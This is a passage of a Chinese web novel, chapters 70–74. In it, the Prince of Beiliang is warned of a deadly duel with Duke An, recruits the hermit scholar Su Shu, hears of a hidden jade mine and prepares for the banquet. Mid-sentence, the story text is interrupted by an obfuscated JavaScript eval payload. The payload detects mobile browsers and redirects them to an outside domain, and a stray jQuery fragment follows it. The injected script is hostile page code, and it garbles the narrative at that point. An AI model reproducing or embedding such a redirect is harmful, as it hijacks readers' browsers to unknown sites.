他们实在想不出,身为公主府总管的张凤这时来干什么? 沈凡和艳姑姑出了前厅,刚好看到身穿宦官袍服,头发花白的张凤从垂花门走进来。 “张总管,您怎么来了?”艳姑姑上前问道。 张凤也不回话,径直来到沈凡面前道:“王爷,有急事,我们屋里说。” “张总管请。”沈凡把张凤让进前厅。 艳姑姑、水仙、倪福、徐盛几人也都跟了进去,沈凡见张凤没有阻止的意思就没阻拦。 “张总管请坐。”沈凡道。 “不了。”张凤从怀里取出一封信道:“王爷你看看这个。” 沈凡接过,发现信封上有一处明显的破痕,问道:“这是怎么回事?” 张凤:“王爷看了信在说。” 沈凡展开信,就见上面就写着一行字。 公主殿下,请转告北凉王,安国公比武是假,索命是真,不可前往。 沈凡的眼睛瞬间瞪大,看了看信的下方,没有署名。 “张总管,这是怎么回事?”沈凡再次问道。 张凤深吸了口气道:“半个时辰前,有人用箭将这封信射进了公主府,殿下看后就让咱家即刻把信交给王爷,还给王爷带来了口信。 说不管此事是真是假,明日都不要赴宴了,安国公有免死金牌,真要是以比武的名义伤了王爷也无大罪。” 听到这话,包括艳姑姑在内的所有人都现出难以置信的神色。 老家伙,原来在跟我玩儿阴的……沈凡的心一紧,皱着眉问:“知道送信的人是谁么?” 张凤摇摇头道:“天太黑了,护卫没有发现可疑的人。 不过公主殿下说,送信的人应该是关心王爷的,让王爷看看能否从笔记上辨认一二。” 其实不用张凤说,刚才沈凡已经这样做了,又仔细看了一遍信道: “我看不出来是谁的笔迹,不过从字体上来看写的很潦草,笔锋回转也显得很僵硬,像是故意用左手写的。” 张凤惊讶的道:“何以见得?” 沈凡也不答话,走到书案前,用左手在纸上写起信上的话,写完后道: “张总管你看,我没有临摹,只是用自己的笔体抄了一遍。 字迹虽不同,但笔锋回转确有相似之处,现在可以肯定写信的人就是用左手写的。 当然,如果那人是左撇子的话就是用右手写的,看来这人是不想让我们知道他的身份。” 张凤道:“没想到王爷还有这一手。” 沈凡道:“是父王教我的,他说要学会认部下的字迹,这样在战场上就不会让敌人伪造钻空子……会是谁呢?” 张凤道:“依咱家看,不管是什么人报信,还是宁可信其有不可信其无,按公主殿下说的王爷不能去。” 侧旁,水仙轻声问徐盛:“你说白天见过这个安国公,他很厉害吗?” 徐盛道:“我没跟安国公出过征,只知道此人乃我朝第一勇士,别看已经九十岁的人了,可一看就是从千军万马里杀出来的。” 水仙不解的道:“九十岁了,能厉害到哪去?” 这时就见张凤叹息一声道:“安国公是很厉害,因为咱家见过安国公出征。” “您怎么见过安国公出征?”沈凡问。 张凤道:“那是在三十年前,咱家刚入宫不久,伺候当时的内务府总管去漠北监军。 亲眼目睹安国公一人一马,在敌军中杀了半个时辰力不竭,连用铁锤杀十余名敌将。 最猛的是把一个敌将的脑袋生生连着脊椎拽了出来,吓得敌军肝胆俱裂,落荒而逃。” 第七十章:有些事躲得过初一躲不过十五 张凤的话把水仙听得娇躯一抖,迅速脑补出了安国公如野兽般提着连着半截脊椎骨的头,在千军万马中冲杀的样子。 画面一转,脑海里又出现了那颗头颅是沈凡的情景,失声尖叫道:“王爷,您不能去啊!” 这一嗓子惊到了众人,丁奉、倪福、徐盛、韩当、周泰几人也纷纷说道。 “水仙姑姑说的对,不能去!” “对,王爷您不能去……” 沈凡没有理会大家的话,眼中现出一道凌冽的寒光,看向张凤道: “请转告公主殿下,不管此事是真是假,拒绝了就是失礼,所以我要去。” 张凤道:“王爷,老奴劝您还是听公主殿下的话。” 艳姑姑也道:“是啊,宁可信其有,不可信其无。” 沈凡道:“就算是真的又如何?” 艳姑姑道:“他是有免死金牌的人,真要是伤了你没人说得清。” 沈凡眼睛微咪着道:“躲得了初一躲不过十五,何况是被安国公盯上了,我还喜欢这种阳谋,真要是暗中算计还真防不胜防。 我父王对我说过,不惹事也不怕事,在说真要是比起来,还不一定谁死呢!” “王爷说的对,还特么不一定谁死呢,我同您一起去。”倪福道。 做为老王爷的属下,他也觉得沈凡说的对。 “还有我。” “我也去。” “我也去,原誓死护王爷周全!” 眼见自家王爷决心已下,丁奉,徐盛、韩当、周泰也都跟着道。 沈凡点点头,给了他们一个赞赏的眼神。 “奴婢也去!”水仙忽然叫道。 沈凡:“你又不会武,去了管什么用?” 水仙不说话了,很是后悔为什么不学武。 张凤看向沈凡的眼中现出几分钦佩,拱拱手道:“既如此,那咱家就回去给殿下复命了。” 沈凡道:“我送你。” “岂敢岂敢,王爷请留步。”张凤回绝了,想了想道:“明日去时最好穿上软甲,带上些防身的兵器。” “多谢张总管。”沈凡对张凤拱拱手道,还给了艳姑姑一个善意的笑容。 艳姑姑本还想劝沈凡,见此情景也只好作罢,行了个屈膝礼道:“还请王爷小心”。 言罢,跟着张凤离开了。 张凤和艳姑姑前脚刚走,就有仆人禀告:“王爷,那位老先生已经沐浴完了,现在厅外等候。” 沈凡表示知道了,看向因担心自己依旧紧张的众人笑道:“没什么了不得的,你们去做些准备,记住每人弄一副软甲,等我和老先生吃了饭再去找你们……水仙随我来。” 说完就出了前厅,刚出门就是一愣,就见那老者已是变了模样。 破衣烂衫换成了一件蓝色的新棉袍,头上戴着文士帽,原来乱糟糟的胡须和头发也修剪的整整齐齐。 虽然脸上依旧带着菜色,可眼里却透着智慧的光芒,给人一种长者风范,连脚下的黄狗也精神了,毛也顺了。 “先生好面相!”沈凡赞了句。 老者打量了一下自己,轻叹了口气道:“老夫已经很久没这么精致了。” “请随我一起用饭吧。”沈凡做了个请的动作,带着老者和黄狗来到小饭堂。 水仙心疼沈凡办差辛苦,这桌饭菜弄得很丰盛,有鱼,有炖肉,有干菜,还有一坛桂花酒。 “老先生不要客气,请坐。”沈凡指了指主坐左侧的椅子道。 老者也不客气,一屁股坐上去拿起碗筷吃了起来。 沈凡没急着吃,用筷子夹起一块带骨头的肉放在黄狗眼前。 黄狗“哈嗤哈嗤”闻着,口水顺着嘴流了下来,就是不敢下嘴。 就在沈凡纳闷时,老者道:“大黄灵性的很,王爷不说话它不敢吃。” 沈凡笑了笑,想起白天这狗将炊饼给老者的事,对它的好感又多了几分,摸了摸狗头道:“大黄,吃吧。” 大黄兴奋的哼了声,这才用爪子摁住肉骨头,狼吞虎咽吃了起来。 在看那老者,似乎对鱼和干菜没兴趣,肥美的炖肉才是他的目标。 也不管沈凡同不同意,直接把盆端到自己面前,又觉得筷子碍事,干脆直接上手吃了起来。 “你这人怎么这样,叫我家王爷怎么吃?”水仙道。 老者脸一红,将拿着的肉骨头递给沈凡道:“王爷,这块给您。” 沈凡笑着摆手道:“你吃,你吃,我吃鱼。” “这可是王爷不吃。”老者撇了眼水仙道,继续闷头吃肉。 “你……”水仙气得一叉腰。 “给我盛碗饭。”沈凡见状对水仙道。 水仙撅着嘴盛了碗饭放在桌上,特意把那盘鱼挪到沈凡身前。 沈凡看了看这条清蒸鲤鱼,要说水仙的厨艺是越来越好了,鱼是用菜油煎过的,再上锅蒸熟后撒上葱姜,香气逼人。 沈凡用筷子在鱼腹上戳了一下,细致的鱼皮就爆开了,露出洁白如玉的嫩肉。 吃了口赞道:“很好,非常鲜!” 水仙的心情瞬间变好,笑道”那您就多吃些。” 说完又嫌弃地看了老者一眼。 “老先生,你也吃点鱼。”沈凡对那老者道。 “不吃不吃,此物吃快了扎嗓子。”老者头也不抬的道。 此时他已经把一盆炖肉都吃了,啃完的骨头给了大黄,又将饭盆里的米饭全倒进肉盆里,用筷子大力搅拌几下捧着盆继续猛吃。 一时间,桌子上的老者和桌子下的大黄同时发出“呜呜”的声响。 看得已经吃饱了的沈凡又觉得饿了,可米饭已经被老者包了圆,只能干吃鱼。 当沈凡把鱼吃得只剩骨头时,老者也把一盆米饭烩肉汤吃完了。 “够不够,不够的话我让水仙再去取饭。”沈凡问道。 “不用了,再吃会撑死的。”老者打了个饱嗝道,随手从桌子上拿起一根鱼刺剔起牙。 桌子下的大黄也打了个饱嗝,抬头看向沈凡的眼里满是温柔。 看着老者剔牙的样子,简直比自家王爷还王爷,忍无可忍的水仙道: “我说老先生,洗也洗了,吃也吃了,该回我家主子的话了吧?” 老者看了眼水仙道:“小姑娘,身为王府的大总管,应该有容人之心,急什么,给老夫倒杯酒在说。” “你……”水仙刚要发火,却发现沈凡正对自己笑着示意,只好给老者倒了杯酒。 第七十一章:你到底是什么人 老者将酒一饮而尽,吧唧了两下嘴才看向沈凡道:“白天王爷与部下说话时,老夫的耳朵根子长了些,听见了三件事。 第一件是兵部参将朱淘利贪污,第二件是巾帼将军和郑天泽用兵过狠,第三件事是西北道可能出现的贪腐,不知老夫说的对不对?” 沈凡点头道:“不错。” 老者道:“兵部参将朱淘利贪污的事,按王爷所说皇上已有定论且不论。 西北道可能出现的贪腐还未查出真相,也不论。 刚才老夫说王爷固然干练,可恐却招来祸事,指的是巾帼将军和郑天泽用兵过狠这件事。” “还请先生直说。”沈凡道。 老者笑了笑道:“以王爷现在的地位,加上有皇上和丹阳公主的信任,按理说在朝堂上已无大的威胁。 可就是这第二件事,让王爷不经意间得罪了个大人物。” 沈凡心里一动,想到了刚才丹阳公主派张凤报信的事,问道:“老先生是说郑天泽的爷爷安国公?” 老者楞了下道:“安国公威胁王爷了?” 沈凡想了想,觉得老者已经知道了很多事,安国公的事也没必要瞒他,就将张凤报信的事说了。 老者听完后吃了一惊,自言自语道了句:“这个老家伙,还是这么豪横!” 沈凡问道:“老先生似乎很了解安国公。” 老者道:“谈不上了解,不过此人的德行倒是略知一二。 看似四朝老臣,实则心胸狭窄,仗着那点功劳自负得很,要不是能活,在开国功臣里算不上什么。” 一直在旁边听着的水仙,这时才发现老者还真不像骗吃骗喝的人,插话道: “老先生,您认为我们王爷明日应该去赴宴么?” 老者却没有直接回答,而是反问道:“王爷是想去,还是不想去?” “怎么说?”沈凡也反问道,他想先知道老者的想法。 老者明白沈凡的心思,笑了笑道:“王爷若是不去就没什么说的,不过王爷若想去,老夫倒可以用阳谋对付安国公的阳谋。” 阳谋对付阳谋……沈凡来了兴趣,回道:“我会去。” 老者道:“那就请王爷把丹阳公主也请去,有公主殿下在,安国公不敢造次。” 水仙眼睛一亮,看向沈凡道:“王爷,这主意好。” 沈凡道:“先生的法子我不想用,一来这件事还不能肯定,二来安国公请的是我,带上丹阳公主好像我怕了似得。” “王爷真的不怕吗?”老者问道。 沈凡微微一笑道:“怕我就不配继承北凉王了。 好了,咱们也不绕弯子了,听先生刚才的话风,似乎说我得罪的那个人不是安国公?” 此子果然聪明过人,看人入木三分……老者眼里现出几分欣赏道: “王爷说的没错,老夫说的那人并非是安国公,因为安国公与那人比实在算不上什么。” “那人是谁?”沈凡问道。 老者的语气变得冰冷起来道:“当今太子殿下。” “怎么可能?”沈凡诧异的道:“我只是个外姓王,素与太子无瓜葛。” 老者呵呵一笑道:“这不怪王爷,毕竟王爷刚涉足朝局,这里的事错综复杂的很。” 沈凡:“我还是不明白先生的意思。” 沈凡是真不明白,太子是高高在上的储君,自己只是个小王爷,还是个无权无势的小王爷,怎么就得罪他了? 老者道:“老夫想问王爷件事,刚才您说郑天泽和巾帼将军并没有获罪,只是被罚俸留任,是不是太子向皇上求了情?” 沈凡一惊,问道:“先生怎么知道的?” 老者道:“猜的,是不是吧?” 沈凡道:“没错,是太子向皇上求的情。” 老者笑道:“那皇上当时是不是犹豫了,然后才准了太子的请求。” 沈凡用难以至信的打量着老者,感觉就像是见到了鬼,问道:“你又是怎么知道的?” 老者的脸上依旧挂着笑道:“还是猜的,请问王爷是不是吧?” “是,当时皇上是想了一下。”沈凡道。 “这就对了。”老者脸上的笑容渐渐退去道:“自古帝王皆多疑,太子的地位越稳,他们父子间的相疑也就越重。 所以太子才拼命笼络当朝的臣子,才会为巾帼将军和郑天泽求情。 而王爷刚好查到了他们二人用兵过狠的事,王爷说您此举是不是招来了祸事?” 说到这老者喝了口酒继续道:“且王爷刚才说了安国公的事,如此看来安国公已经是太子的人了。” 沈凡手一颤,杯里的酒差点洒出来,盯着老者道:“你到底是什么人?” 老者手捻须髯道:“还是那句话,老夫姓苏,见王爷只是报恩,至于是什么人嘛,不提也罢。” 一席话点醒梦中人,沈凡豁然明白了,原来王灵瑶和郑天泽都是太子的人。 自己刚当差一天,想不到这些也属正常,可丹阳公主那小娘们也看不出来? 不对,就算那小娘们聪明绝顶,可这里的事她还真看不清,因为她没有皇位继承权,不会往这方面想。 娘得,真没想到第一天当差就得罪了太子。 沈凡虽是个天不怕地不怕的性子,可得罪了当今太子却不一样,心下难免惊恐,看向老者道:“想必先生定有破解之法吧?” 老者目光幽幽地盯着烛火良久,又从烛火移到沈凡身上道: “罢了,就冲王爷为那些死难军士的家属如此劳神,老夫就送给王爷下中上三策。” “请讲。”沈凡神情恭维的道。 老者道:“老夫给王爷的下策是去找太子,告诉他会誓死效忠。 不过据老夫所知,太子虽有雄才却心胸狭窄,王爷就算依附于他,恐怕也难被重用。” 沈凡皱了皱眉道:“效忠太子是国之大本,可如果真如您所说其心胸狭窄,就算我依附于他,恐怕也没有什么好下场。 何况他为了结党竟罔顾国法,我是不会答应的,请问先生中策是什么?” 老者看向沈凡欣慰的点点头道:“王爷年纪虽小,心却端正,能看到这一层已是超出许多当朝官员,难得。 老夫的中策是辞去王爵,远遁海外,做个逍遥客。” 沈凡被这话说得一乐道:“我继承的是父王的爵位,他老人家生前常教导我要报效国家。 岂能因这种事就做缩头乌龟,请问先生上策是什么?” 老者再次看向沈凡欣慰的点点头道:“老夫上策是条艰难之路,那就是将王爷的势力做大做强。 如果太子是贤明之君,扶之。 如果太子不是贤明之君,就算他登基了,凭着王爷的实力他也不敢轻易动您,到时进可攻退可守。” 就在沈凡琢磨老者的话时,水仙不干了,指着老者质问道: “你胡说什么,这不是在纵容我家王爷造反吗?” 第七十二章:当世第一隐儒 “不要乱讲。”沈凡看向水仙道:“先生的意思不是让我**,而是给我指了一条自救之路。” “哈哈哈……王爷睿智……”老者笑道:“敢问王爷一个问题,那就是您刚才说的报效国家,不知要如何报效?” 沈凡神情严肃的道:“捐躯赴国难,视死若如归。” 老者的神情也严肃起来,对沈凡拱拱手道:“从王爷为军属抚恤之事不怕权贵老夫就看出来了,王爷是位胸有大志之人,也是忧国忧民之人。 如今看似太平盛世,实则内忧外患。 内有诸侯王与勋贵势力威胁皇权,地方豪强地主兼并土地,私人铸币垄断盐铁,聚敛财富,横行乡里。 外有突厥侵扰边境,威胁国家安危,朝廷正需要王爷这种年轻有为之人力挽狂澜。” 沈凡望着老者道:“先生现在可将身世告诉我了吧?” 老者抚须笑了声道:“老夫姓苏,名术,衢州人士。” 沈凡吃了一惊道:“可是作了那首《卜算子自嘲》的苏术?” 老者眼中光芒一闪道:“王爷知道老夫的这首词?” 沈凡吟道:“本是后山人,偶做前堂客,醉舞经阁半卷书,坐井说天阔。 大志戏功名,海斗量福祸,论到囊中羞涩时,怒指乾坤错…… 没想到,您竟是号称天下第一隐儒的苏先生!” “王爷,我怎么没有听过什么天下第一隐儒?”一旁的水仙道。 沈凡道:“你才读过几本书,这位苏先生早在五十年前就已名满天下,号称我大夏朝第一儒者。 可惜仕途坎坷,纵是聪明绝顶也是明珠暗投,所以被誉为第一隐儒。” “聪明绝顶?”水仙上下打量着苏术。 见水仙不信,沈凡又道:“我曾在一本杂记上看过,说苏先生六岁时,在半个时辰内就能将三字经和千字文倒背如流。” “这怎么可能?”水仙的眼神更加难以置信,看向苏术道:“这一定是传说对不对?” 她问这话是有理由的,自己曾在王爷的强迫下也背过三字经,结果背了一个多月也没背会,后来就放弃了。 沈凡也看向苏术,其实他也不太信野史上记载的这些。 自己在六岁时也背过三字经和千字文,记得当时用了两个时辰才背会,母亲还夸自己是神童转世。 这个苏术能在半个时辰就背下来,聪明的简直让人气愤。 看着主仆二人探寻的目光,苏术道:“都是过去的事了,不过当年不是用了半个时辰,只是先生念了一遍我就会了。” 随即又苦笑一声道:“可这又能如何,自老夫十六岁后就仕途坎坷,二十岁后更是得罪了权贵,乃至落魄半生。” 沈凡道:“这么说传言当年您参加科举遭主考官贿赂,您没有从流反而告了他,结果落榜是真的?” “不错。”苏术道:“虽如此,老夫依然是位卑而不敢忘忧国,可左突右冲几十年下来还是舟困浅滩。 直到今日结识了王爷,才知这世上还有和老夫一样不惧权贵之人,忧国忧民之人。 如若王爷不嫌弃,老夫愿用一生所学,助王爷成就一番春秋大业如何?” ……捡到宝了,若是能得到这位隐士大儒的相助,何愁北凉王府不能崛起? 沈凡起身深施一礼道:“蒙先生器重,我定以弟子之礼待之。” 老者点点头道:“在这以前老夫还有一个要求,不知王爷能不能应允?” 沈凡一愣……见过谈条件的,没见过这么谈条件的,这老头儿还真不简单。 “先生请讲,但凡我能办到。”沈凡道。 苏先生道:“老夫一直有个执念,就是开一所书院。 一来将老夫平生所学传于后世,二来也可以为王爷招揽天下英才,不知王爷可否满足老夫这个心愿?” 沈凡……果然不愧是高人,连提条件都能把对自己的好处说的这般诱人。 看着白发苍苍的苏术,沈凡毫不犹豫的道:“我定全力支持。” 苏先生:“那可需要很多银子。” “多少?” “后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15768925|174654||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面招生的不说,初期买房子就至少需要五千两。” “五千两!”水仙失声叫道:“您老是真敢开牙,王府地方这么大,把书院建在这里不就行了么?” 苏先生白了水仙一眼道:“若把书院设在王府,在招来那么多学子,就不怕王爷被人告个图谋不轨么?” 水仙“啊”了声,这点她还真没想到。 沈凡微微一笑,冲水仙伸出手道:“拿五千两银票。” 水仙努努嘴,从袖中拿出五千两银票给了沈凡,然后看向苏先生道:“花这银子得记账啊。” 看着这个尽职尽责的王府总管,苏先生笑着点点头。 沈凡将银票放在苏先生面前的桌上道:“不够在找我要。” 苏先生拿起这张五千两的银票,只觉心里一阵滚热, 刚才在进王府的时候他就已经发现了,这位新晋北凉王并不富裕,不但仆人少,且府中的摆设也缺很多。 没想到会如此大方,是个办大事的人。 当即对沈凡施礼道:“王爷以国士待老夫,老夫也要给王爷一笔大富贵。” 听到这话沈凡很惊讶,不知所云的看着苏先生。 水仙则瞪大了眼睛,这老叫花子都穷成这样了,能给王爷什么富贵? 就见苏先生从怀里取出一物道:“王爷,看看这东西能值多少银子?” 沈凡定睛看去,苏先生掌上托着的是一块鸟蛋大的物件,在烛火的映照下闪烁着莹莹白光,如美人肌肤般细腻。 “这是块上好的羊脂白玉,单凭这块原石就能值十两银子。”沈凡拿起玉石道:“不过若是让能工巧匠精雕细琢一番,价钱至少能翻十倍。” 水仙也凑了过来,眼神硕硕看着这块羊脂白玉,不过却道:“就算如此它也就值个百十两银子,算什么大富贵?” 苏先生看向水仙笑问:“如果此物多得能堆满这间屋子,你再算算能值多少银子?” “堆、堆、堆满这间屋子……怎么可能,如果有这么多美玉,你还要什么饭?”水仙吃惊的道。 第七十三章:大富贵 苏先生看向同样吃惊的沈凡道:“这块玉是三十年前老夫郊游时,在京城以西百里的青岩山中得到的。” 沈凡插话道:“青岩山我知道,是座岩石山,连树木都很少,也没听说发现有玉矿,怎么会有这等美玉?” 苏先生道:“老夫也是这么想的,满是青石的山怎会出如此美玉,难道有隐藏的玉矿不成? 出于好奇便逗留了十余日,在发现此玉的地方开始寻找,找到了一处山洞,进去后发现竟别有洞天,里面还真有条玉矿脉。 据老夫推断,此矿脉在地下至少纵深十余里,若开采出来,填满这间屋子不在话下。” “那你怎么不采出来?”水仙问。 苏先生笑了笑道:“此山虽是无主之山,但以老夫的能力怎能买得起? 就算买下来了,以老夫的实力也守不住,反会遭来杀身之祸,故此连这块原石也不敢示人。” 说着看向沈凡道:“王爷,您只需在恰当的时候向皇上把青岩山讨过来,就可将这沉沦万年的富贵弄到手了。 有了这大富贵,王爷才好壮大自身。” “哎呀!”沈凡一跺脚道:“要是早遇到先生就好了,白天的时候皇上还问我要什么赏赐呢,可惜被我用了,要了一万两银子。” 苏先生笑道:“无妨,依老夫看西北道定有贪功冒赈之事,皇上自然还会对王爷有赏赐的,到时王爷再跟皇上要此山就是。” 沈凡却皱眉道:“如此甚好,只是平白无故就跟陛下要座荒山,日后在开采出美玉,到时定会引人怀疑的。” “好办。”苏先生道:“王爷就跟皇上说,梦见老王爷和王妃托梦给你。 说那里是块风水宝地,要将他们的衣冠冢修在山上,皇上定会应允。 然后王爷就在修坟的时候无意间发现了玉矿,岂不美哉!” 听着这番滴水不漏的谋划,沈凡心下感动,对苏先生深施一礼道: “先生如此待我,我当认先生为师,为先生颐养天年。” 苏先生感叹一声道:“没想到老夫在七十有二的风烛残年,竟能与王爷有此福缘。 不过认师就不必了,王爷能以国士待老夫,老夫自当鞠躬尽瘁。” 沈凡道:“既如此,请再受我一礼。” 言罢又深深鞠了一躬,苏先生也鞠躬还礼。 侧旁,水仙看向苏先生的眼神明显发生了变化,小脑袋里全是这间饭厅堆满玉石的样子…… 正这时,屋外忽然传来一阵鹰啼,声音高亢悲长,引得三人心皆一惊。 沈凡道:“怎么回事?” 说着就打开房门来到院中,抬头向天上看去。 就见一轮皎洁的圆月挂在头顶,周围衬着点点繁星,却并未发现有鹰迹。 这时就听院外传来一阵说话声,沈凡打开院门,看到在外面的大院里,倪福、徐盛、丁奉、韩当、周泰各自拿着一张弓抬头望天。 “你们在干什么?”沈凡问道。 几人没想到沈凡会突然出现,忙收弓施礼。 身为护卫总管的倪福则回道:“王爷,我们按您的吩咐已经准备好了软甲和武器。 正准备给您看看,见您没出来就在这等,刚好看到天上有鹰盘旋,哥几个就射了几箭。” 听闻他们在射鹰,沈凡顿时来了兴致,问道:“射下来了吗?” “不好射。”倪福道:“天太黑了,只有等鹰飞过月影时才好放箭,刚才射了几箭都射空了。” 正这时,空中再次传来一声鹰啼。 众人抬头看去,刚好看到一只展翅的雄鹰出现在圆月里。 沈凡一把夺过倪福手里的弓,前腿弓后腿蹬的同时已然拉弦上箭。 随着一声清脆的弦响,一道寒光就飞了出去。 众人的目光追着寒光看去,就见圆月中的那只雄鹰忽然顿了一下,然后就收了翅膀笔直下落。 “好!” 就在众人喝彩的时候,苏先生的那条大黄狗吠了声,冲墙根方向就扑了过去。 不一会就叼着一只鹰跑了回来,将软塌塌的鹰丢在地上,用头不断蹭沈凡的腿邀功。 “月下射苍鹰,风劲角弓鸣,王爷果然是少年英豪!” 正这时,门口传来了一个苍老的声音,一个老者从暗夜里踱步而出。 倪福几人看到,这位老者屹立在月光下,蓝色的长衫和白发在风中微微飘荡,给人以一种世外高人的感觉,正是那个曾经衣衫褴褛的老叫花子。 看到众人惊讶的神情,沈凡将弓还给倪福道:“你们知道这位先生是何人么,他就是当世第一隐儒苏术先生。” 见倪福几人面露茫然,沈凡反应了过来,他们这些武夫哪知道文人里的名人,就将苏术的身世简单说了说。 倪福几人这才知道苏术是位大儒,纷纷对着他施礼。 之所以这样,除了因为沈凡对他十分客气外,还有一个原因。 那就是大夏国重文轻武的观念根深蒂固,国策更是崇文抑武。 就见沈凡继续道:“我还要宣布件事,从今日起苏先生就是北凉王府的师爷,也是我的幕僚。 如今主要的事是为我办一座书院,诸位要像尊重我一样尊重苏先生。” 此言一出,众人森然。 虽不知原因,可既然是王爷定下的事自没话说,再次纷纷对着苏术施礼。 苏先生还礼后道:“诸位不必客气,老夫也是蒙王爷抬爱,以后还望诸位多多照扶。 诸位已经听到了,王爷答应老夫办一座书院,俗话说‘近水楼台先得月’,诸位有子女的都要送到书院来读书。” 倪福问道:“苏先生,您是说子女都行吗,我有一儿两女,两个女儿也能读书?” 苏术不答,看向沈凡问道:“王爷,您以为女娃可以读书么?” 沈凡知道苏先生想知道自己对女子读书的看法,笑了笑道: “自然,女子读书可辨明理,我给水仙也报个名。” “还有我呀!”水仙道,小脸上现出惊恐的神色。 沈凡神情一肃道:“你是王府总管,总不能斗大字不认一筐吧,必须有你。” “喔。”水仙哭丧着脸道。 “王爷明鉴。”苏先生赞了句,看向倪福几人道:“三岁以上的女娃都要来,就像王爷说的可让她们辨明理。 至于男娃嘛……老夫可保他们学成后大小考个公名。” 众人听了自是高兴,徐盛想到了什么,在倪福耳边嘀咕了句。 倪福问苏先生:“不知学费怎么收?” 苏先生想了想道:“每个孩子每年纹银十两。” 倪福、徐盛几人面露难色。 要知道,限制人读书的最大障碍就是学费,除了学费,还需支付书籍、文具等费用。 一个孩子至少要念三年才能参加童试,从童生到学子,再从学子到秀才这得多少银子? 倪福他们至少都有两个孩子,韩当更是生了六个,每年一下拿出六十两银子,可不是他能负担起的。 可当着苏先生的面又不好说出来,几人的脸色都是一僵。 沈凡看出了他们的顾虑,笑道:“学费我替你们交了,告诉孩子们用心读书就是,只要他们能学,我就一直掏银子。” “谢王爷。”几人对着沈凡施礼道。 沈凡笑着摆摆手,意思是这没什么。 倪福这时想起了什么道:“对了王爷,这是小人弄的软甲,您试试合身不合身?” 说着就拿过来一个包袱,从里面取出一副黄澄澄的甲胄。 第七十四章:做好准备 沈凡看到,这是一副用细铜丝编的软甲,内衬是去了毛的羊皮。 穿上试了试,很轻便也很紧致,不大不小正合身。 徐盛拿来一把匕首道:“王爷,这把匕首您也随身带上,加上您的配剑,我们想到的也就这些了。 不过您放心,要是有什么情况,我们哥几个都会全力保护您的。” 沈凡接过这把精铁打造的匕首看了看,问道:“你们也都穿软甲了吗?” “是的。”徐盛几人回道。 倪福还将前襟拉开,亮出了里面的软甲,拍了拍腰刀和挂在腰上的一个小圆盾道:“我们都准备好了。” 沈凡指着圆盾问:“这盾也太小了吧?” 问着话是有原因的,这盾不到普通盾牌的十分之一。 倪福道:“不小不行呀,我们总不能带着大盾去,不过王爷别小看了这盾。 小是小些,可厚实的很,有了软甲和它,小人往王爷身前一站不逊于盾牌。” 说着还背对沈凡站定,用小圆盾护住头颈,眼睛从圆盾上半部露出来,另一只手将腰刀向前一挥,带出一道破空声。 “我们也是。” 徐盛,丁奉,韩当和周泰也亮出了自己的小盾牌。 这几人是要给自己当肉盾……沈凡心里一阵感动。 这时就听旁边的苏先生道:“听闻安国公擅长使一对一百二十斤的铁锤,你们的盾牌能挡住对方一锤么?” 倪福听到这话有些不满,问道:“苏先生也懂武?” 苏先生道:“不懂武,不说明看不出实力高低。 安国公的武功的确厉害,王爷除了年龄占优外,无论在力量武艺,还是在兵器上都不占优。” “就算说的对又如何,既然王爷已经下了决心赴约,我们就是舍了命也会护王爷周全。”倪福道。 “也是。”苏先生似笑非笑捋着胡子道。 沈凡感觉苏先生笑得蹊跷,问道:“先生笑得有文章啊。” 苏先生道:“不错,其实就算倪护卫他们不去,以老夫所见明日这场比武王爷也不会有事。” “为何?”沈凡问。 苏先生道:“王爷这般聪明,难道真想不出来么,除了这里的诸位外,还有谁惦记着王爷的安危?” 沈凡沉吟一下道:“您是说……” “哎。”苏先生打断沈凡笑道:“既然王爷已经猜出来了就不要说了,万一老夫猜错了岂不没面子。” “哈哈哈……”沈凡也笑了,觉得和聪明人打交道就是舒服。 “王爷,你们这是在打什么哑谜?”倪福问。 沈凡道:“没什么,让人给苏先生安排上房住,你们也早些休息,明日随我去赴宴。” …… 与此同时,丹阳公主府内。 艳姑姑、张凤已是分别将自己的差事向丹阳公主做了禀告。 丹阳公主对沈凡收银票的事已经不感兴趣了,现在她更关心沈凡非要去赴宴的事,看向张凤问道: “北凉王就这么自视清高,你没跟他说安国公是以一敌百的猛将么?” 张凤道:“奴才说的比这还厉害,把当年看到安国公战场杀敌的事都说了。 可北凉王却说不惹事也不怕事,还说不一定谁死。” “不知天高地厚的小子,连本宫的话都不听了,活该他被算计,死了也活该!”丹阳公主气呼呼的道。 见公主生气,艳姑姑真怕她不管沈凡了。 她对主子最是了解,能看出来主子是在意沈凡的,如果自己不劝劝,沈凡真要死了,日后会怪自己没劝她的。 想到这道:“殿下,以奴婢看北凉王对您是很忠诚的,这不,还让奴婢给您带来了他府中做的甜烧饼。” 说着将沈凡给的食盒拿了过来,取出几块烧饼放在托盘里,端到丹阳公主面前。 丹阳公主看了看,掰下一小块品了品,又掰下一大块吃了道:“这小子还挺有心的!” “那是。”艳姑姑道:“所以主子,北凉王是自大,可您也不能眼看着他去送死。” 丹阳公主没说话,自顾吃着烧饼。 张凤也道:“主子,艳姑姑说的没错,是该帮北凉王一把。 奴才观这北凉王也算是少年英才,您身边得有个得力的人帮衬,就这么被稀里糊涂算计太可惜了。” 丹阳公主从椅子上缓缓起身道:“你们都下去吧,容本宫想想。” 张凤和艳姑姑对视一眼,齐齐应了声“是”就退了出去。 当他们走到院外时看到,在烛火的映衬下,公主殿下的身影始终在来回踱步。 …… 沈凡回卧房时已是半夜时分,本想脱了衣服倒头就睡,好养足精神,可辗转反复就是睡不着。 想着苏先生的话……想着太子结党……想那封匿名信到底是谁写的……折腾了好一阵才昏昏睡去。 三个时辰后,被外面的鸡鸣叫醒,到屋外打了套拳,感觉浑身舒畅,状态不错。 在水仙的服侍下沐浴后,将软甲穿在内衣外,匕首别在腰间。 吃早饭的时候,沈凡吩咐水仙差人去买些糖糕和几坛酒,做为给安国公的礼物。 虽说是赴鸿门宴,可礼节还是不能丢的。 早饭吃得有些磨叽,从头到尾就听水仙絮絮叨叨,叮嘱这个叮嘱那个。 汇总起来就是,王爷您要是见势不妙赶快撒腿就跑。 沈凡知道这丫头挂念自己,所以自始至终边吃边点头,表示一定照办。 